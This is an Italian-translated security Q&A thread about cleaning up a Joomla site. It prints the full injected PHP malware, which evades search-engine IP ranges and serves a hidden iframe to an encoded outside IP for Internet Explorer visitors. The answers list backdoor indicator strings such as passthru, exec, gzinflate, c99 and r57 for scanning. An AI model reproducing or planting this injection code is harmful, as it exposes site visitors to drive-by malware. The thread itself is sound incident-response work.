Trovato alcuni Javascript pericolosi - come è arrivato?

4

Trovato qualche javascript dannoso su un sito Joomla che abbiamo notato è tornato dopo essere stato cancellato una settimana fa. Inoltre notato che www.cssstickyfooter.com è infetto dallo stesso codice. Se sei curioso, eccolo qui sotto.

    function net_match ( $network , $ip ) {
    $ip_arr = explode ( '/' , $network );
    $network_long = ip2long ( $ip_arr [ 0 ]);
    $x = ip2long ( $ip_arr [ 1 ]);
    $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
    $ip_long = ip2long ( $ip );
    return ( $ip_long & $mask ) == ( $network_long & $mask );
    }

    function net()
    {
    $ip=$_SERVER['REMOTE_ADDR'];

    if(
    net_match('64.233.160.0/19',$ip)==0 &&
    net_match('66.102.0.0/20',$ip)==0 &&
    net_match('66.249.64.0/19',$ip)==0 &&
    net_match('72.14.192.0/18',$ip)==0 &&
    net_match('74.125.0.0/16',$ip)==0 &&
    net_match('89.207.224.0/24',$ip)==0 &&
    net_match('193.142.125.0/24',$ip)==0 &&
    net_match('194.110.194.0/24',$ip)==0 &&
    net_match('209.85.128.0/17',$ip)==0 &&
    net_match('216.239.32.0/19',$ip)==0 &&
    net_match('128.111.0.0/16',$ip)==0 &&
    net_match('67.217.0.0/16',$ip)==0 &&
    net_match('188.93.0.0/16',$ip)==0
    )
    return true;
    }

    function detect_os() {
    global $os;
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    if(strpos($user_agent, "Windows") !== false) $os = 'windows';
    }detect_os();


    function detect_brows() {
    global $OOOOO0000, $OOOOOO000;
    $user_agent = $_SERVER["HTTP_USER_AGENT"];
    if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
    ) $OOOOOO000 = "MSIE";
    }detect_brows();

    $IP = $_SERVER['REMOTE_ADDR'].".log";

    function _log()
    { global $IP;
    touch ("/tmp/impacto/{$IP}");
    }
    @mkdir('/tmp/impacto');
    function _check()
    {
    global $IP;
    if(!file_exists("/tmp/impacto/{$IP}")) return true;
    }
    $dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuOTguMjkvSG9tZS9pbmRleC5waHA=');
    if(_check())
    {
    if(net())
    {
    if($os)
    {
    if($OOOOOO000 == "MSIE")
    {
    echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>\');';

    _log();

    }}}}

Eyeballing it, sembra controllare che il visitatore stia usando IE e aggiunge un iframe invisibile alla pagina, sottoponendo l'utente a tutti i tipi di nasties.

Come pensi che sia arrivato lì e come possiamo impedire che venga inserito di nuovo?

    
posta Hung-Su 03.06.2011 - 05:29
fonte

2 risposte

6

Se hai accesso ai log di accesso e i log ftp li scannerizzano. Nei registri di accesso se vedi una lunga linea (scorri verso destra, quindi scorri verso il basso) verifica se la riga restituisce un codice di risposta non 404. Poi vedi se quella linea ha alcuni dei seguenti:

../../../../ base64_decode

Se nel registro di accesso è presente una riga che restituisce una risposta 200 e ha una delle stringhe sopra, quindi vedere quale file è destinato a tale linea. Potrebbe essere il file che gli hacker stanno sfruttando per infettare il tuo sito web.

Nei siti basati su Joomla ci sono molti plugin obsoleti. Puoi controllare tutti i tuoi plug-in contro l'elenco delle estensioni vulnerabili di Joomla:

link

Quindi, verifica di essere anche a 1.5.23 se nella versione 1.5. Altrimenti, se il tuo sito è basato su Joomla 1.6, verifica di essere su 1.6.3.

Se disponi dei registri FTP, scansionali per vedere cosa potrebbe essere stato caricato sul tuo sito. Potrebbe esserci un file backdoor sul tuo sito.

Scansiona tutti i file per qualsiasi file Perl (.pl) Scansiona tutti i file .php per:

passante sistema base64_decode edoced_46esab (sopra invertito) cmd getenv gzinflate stripslashes exec R57 c99 C100 function_exists

Questi ti aiuteranno a iniziare. Se trovi queste stringhe in un file .php, devi esaminare attentamente il file per vedere se ha la solita "roba" di Joomla nella parte superiore del file. In caso contrario, potrebbe essere una backdoor.

Quindi, uno scenario probabile è questo:

  1. Il sito non è stato aggiornato immediatamente o è presente un plug-in vulnerabile.
  2. Gli hacker hanno trovato il sito e caricato uno script di shell backdoor, oppure hanno trovato una vulnerabilità in un'estensione e consente loro di inviare una stringa a un componente e tale stringa contiene codice per infettare automaticamente il sito.
  3. Continui a pulire il codice, ma continua a tornare

Non lo fermerai finché non scoprirai come gli hacker sono entrati in origine. Molte persone dicono di ripulire il sito da tutti i file e ricaricarlo. Tuttavia, se ricarichi lo stesso componente / estensione / plugin vulnerabile, gli hacker torneranno.

    
risposta data 03.06.2011 - 12:13
fonte
2

Come ci sono arrivato:

  • Il sito o il server potrebbero essere vulnerabili a una vulnerabilità non corretta.

Come impedirne il ripetersi:

  • Patch del server web e del software CMS
  • Potresti riuscire a contattare il       abuso @ indirizzo elencato per       IP codificato a cui si fa riferimento nel JS.

È un po 'difficile dire di più senza ulteriori dettagli sull'ambiente. Sarei cauto poiché è possibile che l'host sia stato compromesso anche in altri modi.

    
risposta data 03.06.2011 - 08:55
fonte

Leggi altre domande sui tag